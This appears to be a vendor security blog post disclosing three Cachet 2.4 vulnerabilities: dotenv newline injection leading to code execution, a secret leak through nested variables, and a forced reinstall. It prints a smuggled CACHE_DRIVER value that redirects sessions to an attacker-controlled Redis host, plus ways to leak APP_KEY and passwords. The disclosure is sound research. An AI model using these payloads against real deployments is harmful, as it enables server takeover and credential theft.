logo
DATABASE RESOURCES PRICING ABOUT US

Cachet 2.4: Code Execution via Laravel Configuration Injection

Description

![An attacker took over a Cachet instance.](https://images.prismic.io/sonarsource/123d8703-ee2c-4518-b7de-1a176fb5b5a9_Blogpost+Cachet%402x.png?auto=compress,format) Status pages are now an essential service offered by all Software-as-a-Service companies ([we do it too](<https://sonarcloud.statuspage.io/>)!). To help their adoption, startups quickly conceived status pages as-a-service, and open-source self-hosted alternatives were made available. [Cachet](<https://github.com/cachethq/Cachet>), also sometimes referred to as CachetHQ, is a broadly adopted status page system written in PHP and has many community forks such as [fiveai/Cachet](<https://github.com/fiveai/Cachet>). Compromising Cachet instances is rewarding for attackers, as they store secrets for various services such as caches, databases, email servers, etc. This initial foothold in the infrastructure is helpful for them to pivot into the internal network of the affected company and to perform further attacks. In this article, we present the technical analysis of three security bugs we discovered in Cachet 2.4. They can enable attackers to compromise the server. ## Impact The exploitation of these vulnerabilities was verified on the last official release of Cachet at the time (2.3.18), as well as on the development branch (2.4). An attacker aspiring to exploit these vulnerabilities requires a valid user account with basic privileges, a scenario that can realistically be leveraged by: * Using credentials stuffing, thanks to the considerable amount of accounts leaked every year; * A compromised or malicious user; * The presence of a Cross-Site Scripting vulnerability on the same perimeter; * The exploitation of CVE-2021-39165, a pre-authenticated SQL injection in Cachet fixed in January 2021. The first vulnerability (CVE-2021-39172) we describe is a newline injection that happens when users update an instance's configuration, such as the email settings. It allows attackers to inject new directives and to alter the behavior of core features, ultimately leading to the execution of arbitrary code. The following video shows the exploitation of this vulnerability. For demonstration purposes, several steps are performed manually, but they could be automated by attackers: The second one (CVE-2021-39174) is also related to this feature and allows the attacker to exfiltrate secrets that are stored in the configuration file, e.g. SMTP server password, the application encryption key, etc. Finally, the last bug (CVE-2021-39173) is much simpler and allows going through the setup process even if the instance is already fully configured. That way, attackers can trick the Cachet instance into using an arbitrary database under their control, ultimately leading to arbitrary code execution. Patches for these three vulnerabilities are available in [release 2.5.1](<https://github.com/fiveai/Cachet/releases/tag/v2.5.1>) of the FiveAI fork. ## Technical Details In this section, we describe the technical details of each vulnerability and the way they were mitigated in the latest release of the community fork. ### CVE-2021-39172 - Remote Code Execution The dashboard of Cachet exposes several configuration views (even to non-administrator users) to change the instance name, mail server settings, etc. Application-level persistent settings are saved in the database, and other framework-level values are directly saved in the application's configuration file. The Laravel framework uses _dotenv _configuration files, a format similar to how you would declare environment variables in a shell script, and their support is implemented in the third-party library [vlucas/phpdotenv](<https://github.com/vlucas/phpdotenv>). When changing the email provider settings, the controller instantiates an object of the class UpdateConfigCommand. Laravel Commands, in the context of the Command Bus, are a way to remove application-specific logic from controllers; they will be synchronously executed upon an execute() call on the object. This is what happens at [1]: **app/Http/Controllers/Dashboard/SettingsController.php** public function postMail() {     $config = Binput::get('config');     execute(new UpdateConfigCommand($config));            // [1]     return cachet_redirect('dashboard.settings.mail')         ->withInput(Binput::all())         ->withSuccess(trans('dashboard.notifications.awesome')); } The associated handler, UpdateConfigCommandHandler, is responsible for performing changes in the existing _dotenv_ file, by replacing existing entries with new ones. UpdateConfigCommandHandler can be triggered by code at two different locations: * SetupController@postStep3, the last step of the setup process. Once the instance is installed, this code path can’t be reached anymore; * SettingsController@postMail, when updating the _dotenv_ entries related to email servers. It will first evaluate the full configuration file to populate the process environment ([1]), identify if the directive to update is already defined ([2]) and then replaced the entry with its new value ([3]): **app/Bus/Handlers/Commands/System/Config/UpdateConfigCommandHandler.php** class UpdateConfigCommandHandler {     // [...]     public function handle(UpdateConfigCommand $command)    {        foreach ($command->values as $setting => $value) {            $this->writeEnv($setting, $value);        }    }    // [...]    protected function writeEnv($key, $value)    {        $dir = app()->environmentPath();        $file = app()->environmentFile();        $path = "{$dir}/{$file}";          try {            (new Dotenv($dir, $file))->load();       // [1]                 $envKey = strtoupper($key);            $envValue = env($envKey) ?: 'null';      // [2]              file_put_contents($path, str_replace(    // [3]                "{$envKey}={$envValue}",                            "{$envKey}={$value}",                file_get_contents($path)                      ));        } catch (InvalidPathException $e) {            throw $e;        }    } } No validation is performed on the incoming data: as long as the configuration entry already exists, it will be replaced with a value coming from the parameter. If an attacker provides a value containing new lines, it will create new entries in the _dotenv_ file and may alter framework-level functionalities. It is worth noting that only the first definition of a variable in a _dotenv_ file will be used, subsequent ones will be ignored. On Laravel projects, this primitive is enough to gain arbitrary code execution. The initial _dotenv_ configuration file will probably look like this on most instances: **.env** APP_ENV=production [...] DEBUGBAR_ENABLED=false DB_DRIVER=sqlite [...] DB_PREFIX= CACHE_DRIVER=file SESSION_DRIVER=file QUEUE_DRIVER=array MAIL_DRIVER=smtp MAIL_HOST=foo [...] REDIS_HOST=null REDIS_DATABASE=null REDIS_PORT=null Attackers could replace the CACHE_DRIVER key and register a Redis server under their control as new session backend: file\nREDIS_HOST=some.remote.server\nREDIS_DATABASE=0\nREDIS_PORT=6379\nSESSION_DRIVER=redis After sending a request that sets CACHE_DRIVER to this value, the _dotenv_ file will look like this **.env** APP_ENV=production APP_DEBUG=false APP_URL=http://cachet.internal APP_TIMEZONE=UTC // [...] CACHE_DRIVER=file REDIS_HOST=some.remote.server REDIS_DATABASE=0 REDIS_PORT=6379 SESSION_DRIVER=redis SESSION_DRIVER=file QUEUE_DRIVER=null // [...] Because Laravel sessions are serialized using PHP’s native format, they are parsed with the function unserialize(). This is a known weakness that can be leveraged into the execution of arbitrary code by using a sequence of specially-crafted objects, a concept named “popchains”. The tool [PHPGGC](<https://github.com/ambionics/phpggc>) can generate such chains for Laravel projects. Other ways to leverage command execution from a new line injection in a _dotenv_ file may exist, but we did not pursue more research in this direction. We are curious to know if you’re aware of other techniques, though! ### CVE-2021-39174 - Configuration Leak As we described in the previous section, one can have direct read and write control over values stored in the _dotenv_ file. Writing to this file ultimately leads to arbitrary code execution, but can it also be taken advantage of the fact that values of this file are displayed in the interface? The documentation of vlucas/phpdotenv describes that it supports [nested variables assignment](<https://github.com/vlucas/phpdotenv#nesting-variables>): when declaring a variable, you can reference a previously declared one with the syntax ${NAME}. This feature is convenient: by referencing another variable in an entry of the _dotenv_ configuration file and displaying this entry in the interface, it reveals another's variable value. It is already [widely](<https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/http/laravel_token_unserialize_exec.rb>) [documented](<https://blog.truesec.com/2020/02/12/from-s3-bucket-to-laravel-unserialize-rce/>) that leaking APP_KEY leads to code execution if the session driver is set to cookie, and this primitive can also be used to leak DB_PASSWORD and MAIL_PASSWORD to perform further attacks. ![Proof-of-Concept of this behavior, leaking the value of APP_KEY.](https://images.prismic.io/sonarsource/5bf944be-1691-45af-b4bb-1f81e12a1537_Blogpost+Cachet+Finding+2.png?auto=compress,format) ### CVE-2021-39173 - Forced Reinstall The setup page cannot be accessed if the instance is already installed, as implemented in the middleware SetupAlreadyCompleted: **app/Http/Middleware/SetupAlreadyCompleted.php** class SetupAlreadyCompleted {    // [...]    public function handle(Request $request, Closure $next)    {        try {            if ($this->settings->get('app_name')) {                return cachet_redirect('dashboard');            }        } catch (ReadException $e) {            // not setup then!        }          return $next($request);    } } The check is solely based on the value of the setting app_name: if not defined or empty, the middleware will consider that the instance is installed. In case you’re wondering what else can evaluate to false, here is a quick primer on PHP’s typing system during comparisons until PHP 8. Comparison can be performed using an equality check (==) or an identity check (===). Equality checks imply that the type of the operands is not accounted for and that strings can be cast to numbers beforehand. This behavior has been named “type juggling” and has been exploited in various real-life vulnerabilities ([CVE-2017-1001000](<https://nvd.nist.gov/vuln/detail/CVE-2017-1001000>), [CVE-2019-10231](<https://nvd.nist.gov/vuln/detail/CVE-2019-10231>)). In the case of the comparison above, any value equal to an empty string or 0 will evaluate to false and give access to the setup pages. The value of app_name is not validated during settings’ update in SettingsController@postSettings, at [1]: **app/Http/Controllers/Dashboard/SettingsController.php** class SettingsController extends Controller {    // [...]    public function postSettings()    {        $setting = app(Repository::class);        // [...]        $parameters = Binput::all();        // [...]        $excludedParams = [            '_token',            'app_banner',            'remove_banner',            'header',            'footer',            'stylesheet',        ];          try {            foreach (Binput::except($excludedParams) as $settingName => $settingValue) {                if ($settingName === 'app_analytics_pi_url') {                        $settingValue = rtrim($settingValue, '/');                }                $setting->set($settingName, $settingValue); // <-- [1] // [...] Therefore, an authenticated user can update it to a value evaluating to false and then access /setup again to re-install the instance with a new administrator account (elevation of privileges) or to exploit our first finding and gain code execution (remember, UpdateConfigCommandHandler can also be exploited from this code path!). ### Patch The new line injection vulnerability (CVE-2021-39172) was addressed by improving the validation of incoming values in UpdateConfigCommandHandler, [rejecting any modification containing newline characters](<https://github.com/fiveai/Cachet/commit/6442976c25930cb370c65a22784b9caee7ed1de2#diff-eb49382226800036f840983b448fee50b5167e6ccba0a08a7d95e3f8a3288d44R105-R106>). The configuration leak bug (CVE-2021-39174) was more complex to patch, as the latest version of the _dotenv_ library could not be imported due to the existing dependencies. Instead, [relevant code was ported](<https://github.com/fiveai/Cachet/commit/6442976c25930cb370c65a22784b9caee7ed1de2#diff-eb49382226800036f840983b448fee50b5167e6ccba0a08a7d95e3f8a3288d44R75-R92>) to allow the command handler to identify if a value contains a nested variable. Finally, it is not possible to force a re-installation of existing instances (CVE-2021-39173) [thanks to improved checks in the impacted middleware](<https://github.com/fiveai/Cachet/commit/ee7781e63f43d3bb3db56b74794c440fba2255ef>). ## Timeline <table class="table table-striped"><thead><tr><th>Date</th><th>Action</th></tr></thead><tbody><tr><td nowrap>2021-03-26</td><td>Issues reported by email to the official security disclosure address of the upstream project</td></tr><tr><td nowrap>2021-06-25</td><td>We send the security issues and patches to the community-supported fork (fiveai/Cachet)</td></tr><tr><td nowrap>2021-08-27</td><td>Release 2.5.1 of the FiveAI fork is published, with fixes for CVE-2021-39172, CVE-2021-39173, and CVE-2021-39174.</td></tr></tbody></table> ## Summary In this article, we analyzed three vulnerabilities in Cachet and demonstrated the ability to take over instances with only basic user permissions using Laravel configuration files. We also described the patches applied by the maintainers and how they prevent the attacks we presented. Finally, we would like to thank the maintainers of the FiveAI fork of Cachet for acknowledging our advisory and fixing these vulnerabilities in a timely and professional manner. ## Related Blog Posts * [WordPress File Delete to Code Execution](<https://blog.sonarsource.com/wordpress-file-delete-to-code-execution>)


Related